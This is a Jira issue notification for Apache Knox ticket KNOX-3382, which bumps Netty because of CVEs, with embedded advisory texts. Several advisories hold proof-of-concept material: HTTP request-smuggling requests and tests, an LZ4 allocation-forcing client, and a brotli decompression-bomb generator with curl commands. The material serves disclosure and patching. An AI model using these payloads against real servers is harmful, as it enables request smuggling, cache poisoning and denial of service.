[
https://issues.apache.org/jira/browse/KNOX-3382?focusedWorklogId=1030929&page=com.atlassian.jira.plugin.system.issuetabpanels:worklog-tabpanel#worklog-1030929
]
ASF GitHub Bot logged work on KNOX-3382:
----------------------------------------
Author: ASF GitHub Bot
Created on: 17/Jul/26 12:59
Start Date: 17/Jul/26 12:59
Worklog Time Spent: 10m
Work Description: smolnar82 opened a new pull request, #1309:
URL: https://github.com/apache/knox/pull/1309
[KNOX-3382](https://issues.apache.org/jira/browse/KNOX-3382) - Bump Netty to
1.135.Final
## What changes were proposed in this pull request?
Bumped Netty version to 1.135.Final
## How was this patch tested?
Built and deployed locally.
Relying on unit tests and Docker-based integration tests.
## Integration Tests
N/A
## UI changes
N/A
Issue Time Tracking
-------------------
Worklog Id: (was: 1030929)
Remaining Estimate: 0h
Time Spent: 10m
> Bump netty to 4.1.135.Final due to CVEs
> ---------------------------------------
>
> Key: KNOX-3382
> URL: https://issues.apache.org/jira/browse/KNOX-3382
> Project: Apache Knox
> Issue Type: Task
> Affects Versions: 3.0.0
> Reporter: Sandor Molnar
> Assignee: Sandor Molnar
> Priority: Major
> Fix For: 3.0.0
>
> Time Spent: 10m
> Remaining Estimate: 0h
>
> The netty dependencies have to be upgraded to at least 4.1.135.Final due to
> multiple CVEs:
> {noformat}
> [
> {
> "cve_id": "CVE-2026-42579",
> "severity": "CRITICAL",
> "cvss": 9.1,
> "description": "# Security Vulnerability Report: DNS Codec Input
> Validation Bypass in Netty (Encoder + Decoder)\n\n## 1. Vulnerability
> Summary\n\n| Field | Value |\n|-------|-------|\n| **Product** | Netty |\n|
> **Version** | 4.2.12.Final (and all prior versions with codec-dns) |\n|
> **Component** | `io.netty.handler.codec.dns.DnsCodecUtil` |\n|
> **Vulnerability Type** | CWE-20: Improper Input Validation / CWE-626: Null
> Byte Interaction Error / CWE-400: Uncontrolled Resource Consumption |\n|
> **Impact** | DNS Cache Poisoning / Domain Validation Bypass / Denial of
> Service / Malformed DNS Packets |\n\n## 2. Affected Components\n\nBoth the
> encoder and decoder in the same file are affected:\n\n-
> `io.netty.handler.codec.dns.DnsCodecUtil` — `encodeDomainName()` method
> (lines 31-51):\n - No null byte validation in domain name labels\n - No
> per-label length validation (RFC 1035 max: 63 bytes)\n - No total domain
> name length validation (RFC 1035 max: 255 bytes)\n - Empty labels silently
> truncate the domain name\n\n- `io.netty.handler.codec.dns.DnsCodecUtil` —
> `decodeDomainName()` method (lines 53-118):\n - No per-label length
> validation (max 63)\n - No total domain name length validation (max 255)\n
> - Unbounded StringBuilder growth from attacker-controlled DNS responses\n\n##
> 3. Vulnerability Description\n\nNetty's DNS codec does **not enforce RFC 1035
> domain name constraints** during either encoding or decoding. This creates a
> bidirectional attack surface: malicious DNS responses can exploit the
> decoder, and user-influenced hostnames can exploit the encoder.\n\n### 3.1
> Encoder Side — Null Byte Injection (CWE-626)\n\nA domain name containing a
> null byte (e.g., `\"evil\\0.example.com\"`) is encoded with the null byte
> embedded in the label data. This creates a domain name that different DNS
> implementations interpret differently:\n\n- **Java (full string)**: sees
> `\"evil\\0.example.com\"` as a single label containing a null\n- **C/native
> DNS libraries**: truncate at the null byte, seeing only `\"evil\"`\n- **DNS
> servers**: may accept or reject based on implementation\n\nThis differential
> interpretation enables **DNS cache poisoning** and **domain validation
> bypass**.\n\n### 3.2 Encoder Side — Overlength Label (RFC 1035
> Violation)\n\nLabels exceeding 63 bytes are accepted by the encoder. The
> length byte is written as a single unsigned byte, so a 200-byte label writes
> `0xC8` (200) as the length. Per RFC 1035, values 192-255 indicate
> **compression pointers**. This means:\n\n- A 200-byte label length `0xC8`
> would be interpreted as a **compression pointer** by standards-compliant DNS
> parsers\n- This creates **parser confusion** between label and pointer
> interpretation\n\n### 3.3 Encoder Side — Silent Truncation via Empty
> Labels\n\n```java\nencodeDomainName(\"a..b.com\", buf);\n// Encodes as: [01]
> 'a' [00]\n// Only \"a.\" is encoded, \".b.com\" is silently
> dropped!\n```\n\nAn attacker can craft input like `\"safe-domain..evil.com\"`
> which gets truncated to just `\"safe-domain.\"`, potentially bypassing domain
> allowlists.\n\n### 3.4 Decoder Side — Unbounded Memory Allocation\n\nThe
> decoder accepts labels of any length (0-255 bytes) without checking the RFC
> 1035 per-label limit of 63 bytes or the total domain name limit of 255 bytes.
> A malicious DNS server can return responses with oversized labels, causing
> excessive memory allocation.\n\n### Root Cause — Encoder\n\n```java\n//
> DnsCodecUtil.java:31-51\nstatic void encodeDomainName(String name, ByteBuf
> buf) {\n if (ROOT.equals(name)) {\n buf.writeByte(0);\n
> return;\n }\n final String[] labels = name.split(\"\\\\.\");\n for
> (String label : labels) {\n final int labelLen = label.length();\n
> if (labelLen == 0) {\n break; // NO ERROR - silently
> truncates!\n }\n // NO check: labelLen > 63\n // NO
> check: label contains null bytes\n // NO check: total name > 255
> bytes\n buf.writeByte(labelLen); // Can write
> values > 63!\n ByteBufUtil.writeAscii(buf, label); // Null
> bytes pass through!\n }\n buf.",
> "published_date": "2026-05-07",
> "package": "netty-codec-dns",
> "version": "4.1.132.Final",
> "fixed_in": "4.1.133.Final, 4.2.13.Final",
> "epss_score": null,
> "epss_percentile": null,
> "risk_score": 70,
> "risk_level": "critical",
> "jira_key": "",
> "jira_status": "",
> "kev": false
> },
> {
> "cve_id": "CVE-2026-42581",
> "severity": "CRITICAL",
> "cvss": 9.8,
> "description": "# NETTY HTTP/1.0 TE+CL Coexistence Bypasses Smuggling
> Sanitization\n\n| Field | Value |\n|-----------|-------|\n| Library |
> `io.netty:netty-codec-http` |\n| Component | `codec-http` —
> `HttpObjectDecoder` |\n| Severity | **HIGH** |\n| Affects | HEAD, commit
> `4f3533ae` confirmed |\n\n---\n\n## Summary\n\n`HttpObjectDecoder` strips a
> conflicting `Content-Length` header when a request carries both
> `Transfer-Encoding: chunked` and `Content-Length`, but only for HTTP/1.1
> messages. The guard is absent for HTTP/1.0. An attacker that sends an
> HTTP/1.0 request with both headers causes Netty to decode the body as chunked
> while leaving `Content-Length` intact in the forwarded `HttpMessage`. Any
> downstream proxy or handler that trusts `Content-Length` over
> `Transfer-Encoding` will disagree on message boundaries, enabling request
> smuggling.\n\n---\n\n## Root Cause\n\n```java\n//
> HttpObjectDecoder.java:828-833\nif
> (HttpUtil.isTransferEncodingChunked(message)) {\n this.chunked = true;\n
> if (!contentLengthFields.isEmpty() && message.protocolVersion() ==
> HttpVersion.HTTP_1_1) {\n
> handleTransferEncodingChunkedWithContentLength(message); // strips CL —
> HTTP/1.1 only\n }\n return State.READ_CHUNK_SIZE;\n}\n\n//
> HttpObjectDecoder.java:870-873\nprotected void
> handleTransferEncodingChunkedWithContentLength(HttpMessage message) {\n
> message.headers().remove(HttpHeaderNames.CONTENT_LENGTH);\n contentLength
> = Long.MIN_VALUE;\n}\n```\n\nThe conflict-resolution path is gated on
> `message.protocolVersion() == HttpVersion.HTTP_1_1`. When the request
> declares `HTTP/1.0`, the condition is false,
> `handleTransferEncodingChunkedWithContentLength` is never called, and the
> `Content-Length` header survives into the forwarded message. Netty still
> processes the body as chunked; a downstream component that is CL-first
> interprets the same bytes as a separate request.\n\n---\n\n## Proof of
> Concept\n\n```\nPOST /api HTTP/1.0\\r\\n\nHost:
> internal.example.com\\r\\n\nTransfer-Encoding: chunked\\r\\n\nContent-Length:
> 0\\r\\n\n\\r\\n\n5\\r\\n\nGPOST\\r\\n\n0\\r\\n\n\\r\\n\n```\n\nNetty consumes
> the full chunked body (5 bytes + terminator). A downstream CL-first proxy
> reads `Content-Length: 0`, considers the request complete at the blank line,
> and treats `5\\r\\nGPOST\\r\\n0\\r\\n\\r\\n` as the start of a second
> request.\n\n---\n\n## Conditions Required\n\n1. Netty is deployed behind a
> reverse proxy or load balancer that is `Content-Length`-first (nginx, some
> HAProxy configs, AWS ALB in certain modes).\n2. Attacker can send HTTP/1.0
> requests (either directly or by downgrading via connection manipulation).\n3.
> No additional HTTP/1.0 stripping layer between attacker and
> Netty.\n\n---\n\n## Impact\n\nRequest smuggling at the Netty edge. Allows
> cache poisoning, session fixation against other users, unauthorized access to
> internal endpoints, and bypassing of WAF or authentication layers that
> inspect only the first logical request.\n\n---\n\n## Confirmed PoC
> Test\n\nVerified against HEAD (`4f3533ae`) using `EmbeddedChannel`. Both
> tests pass, confirming the vulnerability and the HTTP/1.1
> contrast.\n\n```java\npackage io.netty.handler.codec.http;\n\nimport
> io.netty.buffer.Unpooled;\nimport
> io.netty.channel.embedded.EmbeddedChannel;\nimport
> io.netty.util.CharsetUtil;\nimport org.junit.jupiter.api.Test;\n\nimport
> static org.junit.jupiter.api.Assertions.*;\n\npublic class
> NettySmugglingSec001Test {\n\n // VULNERABLE: Content-Length survives in
> HTTP/1.0 TE+CL conflict\n @Test\n public void
> http10_contentLengthNotStripped() {\n EmbeddedChannel ch = new
> EmbeddedChannel(new HttpRequestDecoder());\n
> ch.writeInbound(Unpooled.copiedBuffer(\n \"POST /api
> HTTP/1.0\\r\\n\" +\n \"Transfer-Encoding: chunked\\r\\n\" +\n
> \"Content-Length: 0\\r\\n\" +\n \"\\r\\n\" +\n
> \"5\\r\\nGPOST\\r\\n0\\r\\n\\r\\n\", CharsetUtil.US_ASCII));\n\n
> HttpRequest req = ch.readInbound();\n
> assertEquals(HttpVersion.HTTP_1_0, req.protocolVersion());\n //
> Content-Length: 0 survives — downstream CL-first proxy treats chunked b",
> "published_date": "2026-05-07",
> "package": "netty-codec-http",
> "version": "4.1.132.Final",
> "fixed_in": "4.1.133.Final, 4.2.13.Final",
> "epss_score": null,
> "epss_percentile": null,
> "risk_score": 70,
> "risk_level": "critical",
> "jira_key": "",
> "jira_status": "",
> "kev": false
> },
> {
> "cve_id": "CVE-2026-42584",
> "severity": "CRITICAL",
> "cvss": 9.1,
> "description": "### Summary\n If HttpClientCodec is configured, there are
> use cases when a response body from one request, can be parsed as
> another's.\n\n### Details\nHttpClientCodec pairs each inbound response with
> an outbound request by `queue.poll()` once per response, including for `1xx`.
> If the client pipelines GET then HEAD and the server sends 103, then 200 with
> GET body, then 200 for HEAD, the queue pairs HEAD with the first 200. The
> HEAD rule then skips reading that message’s body, so the GET entity bytes
> stay on the stream and the following 200 is parsed from the wrong
> offset.\n\nPrerequisites \n- HTTP/1.1 pipelining\n- HEAD in the pipeline\n-
> The server sends 1xx\n\n### PoC\n\n```java\n @Test\n public void test()
> {\n EmbeddedChannel channel = new EmbeddedChannel(new
> HttpClientCodec());\n\n assertTrue(channel.writeOutbound(new
> DefaultFullHttpRequest(HttpVersion.HTTP_1_1, HttpMethod.GET, \"/1\")));\n
> ByteBuf request = channel.readOutbound();\n request.release();\n
> assertNull(channel.readOutbound());\n\n
> assertTrue(channel.writeOutbound(new
> DefaultFullHttpRequest(HttpVersion.HTTP_1_1, HttpMethod.HEAD, \"/2\")));\n
> request = channel.readOutbound();\n request.release();\n
> assertNull(channel.readOutbound());\n\n String responseStr =
> \"HTTP/1.1 103 Early Hints\\r\\n\\r\\n\" +\n \"HTTP/1.1 200
> OK\\r\\nContent-Length: 5\\r\\n\\r\\nhello\" +\n \"HTTP/1.1
> 200 OK\\r\\n\\r\\n\";\n
> assertTrue(channel.writeInbound(Unpooled.copiedBuffer(responseStr,
> CharsetUtil.US_ASCII)));\n\n // Response 1\n HttpResponse
> response = channel.readInbound();\n
> assertEquals(HttpResponseStatus.EARLY_HINTS, response.status());\n
> LastHttpContent last = channel.readInbound();\n assertEquals(0,
> last.content().readableBytes());\n last.release();\n\n //
> Response 2\n response = channel.readInbound();\n
> assertEquals(HttpResponseStatus.OK, response.status());\n last =
> channel.readInbound();\n assertEquals(0,
> last.content().readableBytes());\n last.release();\n\n //
> Response 3\n FullHttpResponse response1 = channel.readInbound();\n
> assertTrue(response1.decoderResult().isFailure());\n
> assertEquals(0, response1.content().readableBytes());\n
> response1.release();\n\n assertFalse(channel.finish());\n
> }\n```\n\n### Impact\nIntegrity/availability of HTTP parsing on that
> connection, unsafe reuse of the socket.",
> "published_date": "2026-05-07",
> "package": "netty-codec-http",
> "version": "4.1.132.Final",
> "fixed_in": "4.1.133.Final, 4.2.13.Final",
> "epss_score": null,
> "epss_percentile": null,
> "risk_score": 70,
> "risk_level": "critical",
> "jira_key": "",
> "jira_status": "",
> "kev": false
> },
> {
> "cve_id": "CVE-2026-45674",
> "severity": "CRITICAL",
> "cvss": 10,
> "description": "### Summary\nNetty's DnsResolveContext fails to validate
> the origin (bailiwick) of CNAME records in DNS responses.\n\n### Details\nIn
> `io.netty.resolver.dns.DnsResolveContext#buildAliasMap`, the resolver
> processes the ANSWER section of a DNS response and blindly caches all CNAME
> records it finds.\n\nAccording to
> https://datatracker.ietf.org/doc/html/rfc5452#section-6 \n\n```\nCare must be
> taken to only accept\n data if it is known that the originator is
> authoritative for the\n QNAME or a parent of the QNAME.\n One very simple
> way to achieve this is to only accept data if it is\n part of the domain
> for which the query was intended.\n```\n\n### Impact\nDNS Cache Poisoning
> (Bailiwick Bypass). Any application using Netty's DNS resolver is impacted.",
> "published_date": "2026-06-09",
> "package": "netty-resolver-dns",
> "version": "4.1.132.Final",
> "fixed_in": "4.1.135.Final, 4.2.15.Final",
> "epss_score": null,
> "epss_percentile": null,
> "risk_score": 70,
> "risk_level": "critical",
> "jira_key": "",
> "jira_status": "",
> "kev": false
> },
> {
> "cve_id": "CVE-2026-47691",
> "severity": "CRITICAL",
> "cvss": 10,
> "description": "### Summary\nNetty's `DnsResolveContext` insufficiently
> validates the bailiwick of NS records, enabling DNS Cache Poisoning. An
> attacker controlling an authoritative name server for a subdomain can poison
> the cache for parent domains (like `.co.uk`).\n\n### Details\nIn
> `io.netty.resolver.dns.DnsResolveContext.AuthoritativeNameServerList#add`
> method accepts any NS record from the AUTHORITY section as long as the
> record's name is a suffix of the questionName.\n\nThis means if the resolver
> queries evil.co.uk., it will accept an NS record claiming authority over
> co.uk.. Subsequently, the `handleWithAdditional` method caches the associated
> A records from the ADDITIONAL section directly into the
> `authoritativeDnsServerCache` under the parent domain's key (co.uk.). This
> bypasses standard bailiwick rules, where a server authoritative for a
> subdomain should not be trusted to provide authoritative records for its
> parent. The poisoned cache is then used for all future resolutions under
> co.uk..\n\nThe
> `io.netty.resolver.dns.DnsResolveContext.AuthoritativeNameServerList#cache`
> method only prevents caching if the record is for the root zone (dots ==
> 1).\n\n### Impact\nDNS Cache Poisoning. Any application using Netty's DNS
> resolver is impacted.",
> "published_date": "2026-06-09",
> "package": "netty-resolver-dns",
> "version": "4.1.132.Final",
> "fixed_in": "4.1.135.Final, 4.2.15.Final",
> "epss_score": null,
> "epss_percentile": null,
> "risk_score": 70,
> "risk_level": "critical",
> "jira_key": "",
> "jira_status": "",
> "kev": false
> },
> {
> "cve_id": "CVE-2026-42578",
> "severity": "HIGH",
> "cvss": 7.5,
> "description": "# Security Vulnerability Report: HTTP Header Injection
> via HttpProxyHandler Disabled Validation in Netty\n\n## 1. Vulnerability
> Summary\n\n| Field | Value |\n|-------|-------|\n| **Product** | Netty |\n|
> **Version** | 4.2.12.Final (and all prior versions) |\n| **Component** |
> `io.netty.handler.proxy.HttpProxyHandler` |\n| **Vulnerability Type** |
> CWE-113: Improper Neutralization of CRLF Sequences in HTTP Headers |\n|
> **Impact** | HTTP Header Injection in CONNECT Proxy Requests |\n| **CVSS 3.1
> Score** | **7.5 (High)** |\n| **CVSS 3.1 Vector** |
> `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N` |\n| **Related Advisory** |
> **GHSA-84h7-rjj3-6jx4** (Incomplete Fix) |\n\n## 2. Affected Components\n\n-
> `io.netty.handler.proxy.HttpProxyHandler` — `newInitialMessage()` method
> (line 176) explicitly disables header validation via
> `withValidation(false)`\n\n## 3. Vulnerability Description\n\nNetty's
> `HttpProxyHandler` constructs HTTP CONNECT requests with **header validation
> explicitly disabled**. The `newInitialMessage()` method (line 176) creates
> headers using
> `DefaultHttpHeadersFactory.headersFactory().withValidation(false)`, then adds
> user-provided `outboundHeaders` (line 188-190) without any CRLF validation.
> This allows an attacker who can influence the outbound headers to inject
> arbitrary HTTP headers into the CONNECT request sent to the proxy
> server.\n\n### Root Cause\n\n```java\n//
> HttpProxyHandler.java:176-190\nprotected Object
> newInitialMessage(ChannelHandlerContext ctx) throws Exception {\n // ...\n
> HttpHeadersFactory headersFactory =
> DefaultHttpHeadersFactory.headersFactory()\n .withValidation(false);
> // <-- VALIDATION EXPLICITLY DISABLED\n\n FullHttpRequest req = new
> DefaultFullHttpRequest(\n HttpVersion.HTTP_1_1, HttpMethod.CONNECT,\n
> url, Unpooled.EMPTY_BUFFER, headersFactory, headersFactory);\n\n
> req.headers().set(HttpHeaderNames.HOST, hostHeader);\n\n if (authorization
> != null) {\n req.headers().set(HttpHeaderNames.PROXY_AUTHORIZATION,
> authorization);\n }\n\n if (outboundHeaders != null) {\n
> req.headers().add(outboundHeaders); // <-- USER HEADERS ADDED WITHOUT
> VALIDATION\n }\n\n return req;\n}\n```\n\nThe `outboundHeaders`
> parameter comes from the `HttpProxyHandler` constructor (lines 80-93,
> 99-127), which is supplied by application code.\n\n### Incomplete Fix of
> GHSA-84h7-rjj3-6jx4\n\n**This vulnerability represents an incomplete fix of
> the previously acknowledged security advisory
> [GHSA-84h7-rjj3-6jx4](https://github.com/netty/netty/security/advisories/GHSA-84h7-rjj3-6jx4).**\n\nThe
> GHSA-84h7-rjj3-6jx4 fix addressed HTTP CRLF injection by adding URI
> validation via `validateRequestLineTokens()` in `DefaultHttpRequest` and
> enabling header validation by default through `DefaultHttpHeadersFactory`.
> However, `HttpProxyHandler` **explicitly opts out** of the fix by calling
> `withValidation(false)`, creating a gap where:\n\n1. The GHSA-84h7-rjj3-6jx4
> fix's header validation is bypassed\n2. User-provided `outboundHeaders` are
> added without any CRLF check\n3. The resulting CONNECT request contains
> unvalidated headers on the wire\n\nThis is not a new vulnerability class — it
> is the **same CRLF injection** that GHSA-84h7-rjj3-6jx4 was supposed to fix,
> but `HttpProxyHandler` was missed during the remediation. The fix for
> GHSA-84h7-rjj3-6jx4 should be extended to cover this code path.\n\n## 4.
> Exploitability Prerequisites\n\nThis vulnerability is exploitable when:\n\n1.
> An application uses `HttpProxyHandler` with user-influenced
> `outboundHeaders`\n2. The application does not perform its own CRLF
> sanitization on header values\n\n**Common affected patterns**:\n- HTTP proxy
> clients that forward user-specified custom headers\n- Web scraping frameworks
> that allow users to set proxy headers\n- API gateways that pass user headers
> through a proxy tunnel\n\n## 5. Attack Scenarios\n\n### Scenario 1: Proxy
> Authentication Bypass\n\n```java\nHttpHeaders headers = new
> DefaultHttpHeaders(false);\nheaders.set(\"X-Forwarded-For\", userInput); //
> userInput from attacker\nne",
> "published_date": "2026-05-07",
> "package": "netty-handler-proxy",
> "version": "4.1.132.Final",
> "fixed_in": "4.1.133.Final, 4.2.13.Final",
> "epss_score": null,
> "epss_percentile": null,
> "risk_score": 50,
> "risk_level": "high",
> "jira_key": "",
> "jira_status": "",
> "kev": false
> },
> {
> "cve_id": "CVE-2026-42583",
> "severity": "HIGH",
> "cvss": 7.5,
> "description": "### Summary\nLz4FrameDecoder allocates a ByteBuf of size
> `decompressedLength` (up to 32 MB per block) before LZ4 runs. A peer only
> needs a 21-byte header plus `compressedLength` payload bytes - 22 bytes if
> `compressedLength == 1` - to force that allocation.\n\n###
> Details\nio.netty.handler.codec.compression.Lz4FrameDecoder#decode\nHeader
> fields are trusted for sizing. On the compressed path, after `readableBytes
> >= compressedLength`, the decoder does
> `ctx.alloc().buffer(decompressedLength, decompressedLength)` then
> decompresses.\n\n### PoC\nThe test below demonstrates how an attacker sending
> 22 bytes will force the server to allocate 32MB\n\n```java\n @Test\n
> void test() throws Exception {\n EventLoopGroup workerGroup = new
> MultiThreadIoEventLoopGroup(NioIoHandler.newFactory());\n try {\n
> AtomicReference<Throwable> serverError = new AtomicReference<>();\n
> CountDownLatch latch = new CountDownLatch(1);\n\n
> ServerBootstrap server = new ServerBootstrap()\n
> .group(workerGroup)\n
> .channel(NioServerSocketChannel.class)\n .childHandler(new
> ChannelInitializer<SocketChannel>() {\n @Override\n
> protected void initChannel(SocketChannel ch) {\n
> ch.pipeline()\n
> .addLast(new Lz4FrameDecoder())\n
> .addLast(new ChannelInboundHandlerAdapter() {\n
> @Override\n public void
> exceptionCaught(ChannelHandlerContext ctx, Throwable cause) {\n
> if (cause instanceof DecoderException) {\n
> serverError.set(cause.getCause());\n
> } else {\n
> serverError.set(cause);\n
> }\n
> latch.countDown();\n }\n
> });\n }\n
> });\n\n ChannelFuture serverChannel = server.bind(0).sync();\n\n
> Bootstrap client = new Bootstrap()\n
> .group(workerGroup)\n .channel(NioSocketChannel.class)\n
> .handler(new ChannelInboundHandlerAdapter() {\n
> @Override\n public void
> channelActive(ChannelHandlerContext ctx) {\n
> ByteBuf buf = ctx.alloc().buffer(22, 22);\n
> buf.writeLong(MAGIC_NUMBER);\n
> buf.writeByte(BLOCK_TYPE_COMPRESSED | 0x0F);\n
> buf.writeIntLE(1);\n buf.writeIntLE(1 << 25);\n
> buf.writeIntLE(0);\n
> buf.writeByte(0);\n\n ctx.writeAndFlush(buf);\n\n
> ctx.fireChannelActive();\n
> }\n });\n\n ChannelFuture clientChannel =
> client.connect(serverChannel.channel().localAddress()).sync();\n\n
> assertTrue(latch.await(10, TimeUnit.SECONDS));\n\n
> assertInstanceOf(IndexOutOfBoundsException.class, serverError.get());\n\n
> clientChannel.channel().close();\n
> serverChannel.channel().close();\n } finally {\n
> workerGroup.shutdownGracefully();\n }\n }\n```\n\n###
> Impact\nUntrusted senders without per-channel / aggregate limits can stress
> memory with many small requests.",
> "published_date": "2026-05-07",
> "package": "netty-codec",
> "version": "4.1.132.Final",
> "fixed_in": "4.1.133.Final",
> "epss_score": null,
> "epss_percentile": null,
> "risk_score": 50,
> "risk_level": "high",
> "jira_key": "",
> "jira_status": "",
> "kev": false
> },
> {
> "cve_id": "CVE-2026-42585",
> "severity": "HIGH",
> "cvss": 7.5,
> "description": "### Summary\nNetty incorrectly parses malformed
> Transfer-Encoding, enabling request smuggling attacks.\n\n### Details\nNetty
> incorrectly marks a request as chunked when malformed \"Transfer-Encoding:
> chunked, identity\" is present.\nAccording to RFC
> https://datatracker.ietf.org/doc/html/rfc9112#name-message-body-length\n\n\"\nIf
> a Transfer-Encoding header field is present in a request and the chunked
> transfer coding is not the final encoding,\n the message body length cannot
> be determined reliably; the server MUST respond with the 400 (Bad Request)\n
> status code and then close the connection.\n\"\n\nA possible scenario is when
> Netty is behind a proxy that doesn't reject requests with
> \"Transfer-Encoding: chunked, identity\", but prefers \"Content-Length\" and
> forwards the content to Netty.\n\n### PoC\nThe test below shows Netty
> successfully parsing the second request, demonstrating how an attacker can
> smuggle a second request inside a request body.\n\n```java\n@Test\n public
> void test() {\n String requestStr = \"POST / HTTP/1.1\\r\\n\" +\n
> \"Host: localhost\\r\\n\" +\n \"Transfer-Encoding:
> chunked, identity\\r\\n\" +\n \"Content-Length: 48\\r\\n\" +\n
> \"\\r\\n\" +\n \"0\\r\\n\" +\n
> \"\\r\\n\" +\n \"GET /smuggled HTTP/1.1\\r\\n\" +\n
> \"Host: localhost\\r\\n\" +\n \"\\r\\n\";\n\n
> EmbeddedChannel channel = new EmbeddedChannel(new HttpRequestDecoder());\n
> assertTrue(channel.writeInbound(Unpooled.copiedBuffer(requestStr,
> CharsetUtil.US_ASCII)));\n\n // Request 1\n HttpRequest request
> = channel.readInbound();\n
> assertTrue(request.decoderResult().isSuccess());\n
> assertTrue(request.headers().contains(\"Transfer-Encoding\"));\n
> assertFalse(request.headers().contains(\"Content-Length\"));\n
> LastHttpContent last = channel.readInbound();\n
> assertTrue(last.decoderResult().isSuccess());\n last.release();\n\n
> // Request 2\n request = channel.readInbound();\n
> assertTrue(request.decoderResult().isSuccess());\n last =
> channel.readInbound();\n
> assertTrue(last.decoderResult().isSuccess());\n last.release();\n
> }\n```\n\n### Impact\nHTTP Request Smuggling: Attacker injects arbitrary HTTP
> requests",
> "published_date": "2026-05-07",
> "package": "netty-codec-http",
> "version": "4.1.132.Final",
> "fixed_in": "4.1.133.Final, 4.2.13.Final",
> "epss_score": null,
> "epss_percentile": null,
> "risk_score": 50,
> "risk_level": "high",
> "jira_key": "",
> "jira_status": "",
> "kev": false
> },
> {
> "cve_id": "CVE-2026-42587",
> "severity": "HIGH",
> "cvss": 7.5,
> "description": "## Summary\n\n`HttpContentDecompressor` accepts a
> `maxAllocation` parameter to limit decompression buffer size and prevent
> decompression bomb attacks. This limit is correctly enforced for gzip and
> deflate encodings via `ZlibDecoder`, but is silently ignored when the content
> encoding is `br` (Brotli), `zstd`, or `snappy`. An attacker can bypass the
> configured decompression limit by sending a compressed payload with
> `Content-Encoding: br` instead of `Content-Encoding: gzip`, causing unbounded
> memory allocation and out-of-memory denial of service.\n\nThe same
> vulnerability exists in `DelegatingDecompressorFrameListener` for HTTP/2
> connections.\n\n## Details\n\n`HttpContentDecompressor` stores the
> `maxAllocation` value at construction time
> (`HttpContentDecompressor.java:89`) and uses it in `newContentDecoder()` to
> create the appropriate decompression handler.\n\nFor gzip/deflate,
> `maxAllocation` is forwarded to
> `ZlibCodecFactory.newZlibDecoder()`:\n\n```java\n//
> HttpContentDecompressor.java:101 — maxAllocation IS
> enforced\n.handlers(ZlibCodecFactory.newZlibDecoder(ZlibWrapper.GZIP,
> maxAllocation))\n```\n\n`ZlibDecoder.prepareDecompressBuffer()` enforces this
> as a hard cap by setting the buffer's `maxCapacity` and throwing
> `DecompressionException` when the limit is reached:\n\n```java\n//
> ZlibDecoder.java:68 — hard limit on buffer capacity\nreturn
> ctx.alloc().heapBuffer(Math.min(preferredSize, maxAllocation),
> maxAllocation);\n// ZlibDecoder.java:80 — throws when exceeded\nthrow new
> DecompressionException(\"Decompression buffer has reached maximum size: \" +
> buffer.maxCapacity());\n```\n\nFor brotli, zstd, and snappy, the decoders are
> created without any size limit:\n\n```java\n//
> HttpContentDecompressor.java:120 — maxAllocation IGNORED\n.handlers(new
> BrotliDecoder())\n\n// HttpContentDecompressor.java:129 — maxAllocation
> IGNORED\n.handlers(new SnappyFrameDecoder())\n\n//
> HttpContentDecompressor.java:138 — maxAllocation IGNORED\n.handlers(new
> ZstdDecoder())\n```\n\n`BrotliDecoder` has no `maxAllocation` parameter at
> all — there is no way to constrain its output. It streams decompressed data
> in chunks via `fireChannelRead` with no total limit.\n\n`ZstdDecoder()`
> defaults to a 4MB `maximumAllocationSize`, but this only constrains
> individual buffer allocations, not total output. The decode loop
> (`ZstdDecoder.java:100-114`) creates new buffers and fires `channelRead`
> repeatedly, so total decompressed output is unbounded.\n\nThe identical
> pattern exists in
> `DelegatingDecompressorFrameListener.newContentDecompressor()` at lines
> 188-210 for HTTP/2.\n\n## PoC\n\n1. Configure a Netty HTTP server with
> decompression bomb protection:\n\n```java\npipeline.addLast(new
> HttpContentDecompressor(1048576)); // 1MB max\npipeline.addLast(new
> HttpObjectAggregator(1048576)); // 1MB max\n```\n\n2. Generate a
> brotli-compressed bomb (~1KB compressed → 1GB
> decompressed):\n\n```python\nimport brotli\nbomb = b'\\x00' * (1024 * 1024 *
> 1024) # 1GB of zeros\ncompressed = brotli.compress(bomb, quality=11)\nwith
> open('bomb.br', 'wb') as f:\n f.write(compressed)\n# compressed size:
> ~1KB\n```\n\n3. Send the bomb with gzip encoding (BLOCKED by
> maxAllocation):\n\n```bash\n# This is caught — ZlibDecoder enforces the 1MB
> limit\ncurl -X POST http://target:8080/api \\\n -H 'Content-Encoding: gzip'
> \\\n --data-binary @bomb.gz\n# Result: DecompressionException thrown at
> 1MB\n```\n\n4. Send the same bomb with brotli encoding (BYPASSES
> maxAllocation):\n\n```bash\n# This bypasses the limit — BrotliDecoder has no
> maxAllocation\ncurl -X POST http://target:8080/api \\\n -H
> 'Content-Encoding: br' \\\n --data-binary @bomb.br\n# Result: Full 1GB
> decompressed into memory → OOM\n```\n\n5. The same bypass works with
> `Content-Encoding: zstd` and `Content-Encoding: snappy`.\n\n## Impact\n\n-
> **Denial of Service**: An attacker can cause out-of-memory conditions on any
> Netty server that relies on `maxAllocation` for decompression bomb
> protection, by simply using a non-gzip content encoding.\n- **False sense of
> security**: Developers who explicitly configure `maxAllocation` t",
> "published_date": "2026-05-07",
> "package": "netty-codec-http2",
> "version": "4.1.132.Final",
> "fixed_in": "4.1.133.Final, 4.2.13.Final",
> "epss_score": null,
> "epss_percentile": null,
> "risk_score": 50,
> "risk_level": "high",
> "jira_key": "",
> "jira_status": "",
> "kev": false
> },
> {
> "cve_id": "CVE-2026-42587",
> "severity": "HIGH",
> "cvss": 7.5,
> "description": "## Summary\n\n`HttpContentDecompressor` accepts a
> `maxAllocation` parameter to limit decompression buffer size and prevent
> decompression bomb attacks. This limit is correctly enforced for gzip and
> deflate encodings via `ZlibDecoder`, but is silently ignored when the content
> encoding is `br` (Brotli), `zstd`, or `snappy`. An attacker can bypass the
> configured decompression limit by sending a compressed payload with
> `Content-Encoding: br` instead of `Content-Encoding: gzip`, causing unbounded
> memory allocation and out-of-memory denial of service.\n\nThe same
> vulnerability exists in `DelegatingDecompressorFrameListener` for HTTP/2
> connections.\n\n## Details\n\n`HttpContentDecompressor` stores the
> `maxAllocation` value at construction time
> (`HttpContentDecompressor.java:89`) and uses it in `newContentDecoder()` to
> create the appropriate decompression handler.\n\nFor gzip/deflate,
> `maxAllocation` is forwarded to
> `ZlibCodecFactory.newZlibDecoder()`:\n\n```java\n//
> HttpContentDecompressor.java:101 — maxAllocation IS
> enforced\n.handlers(ZlibCodecFactory.newZlibDecoder(ZlibWrapper.GZIP,
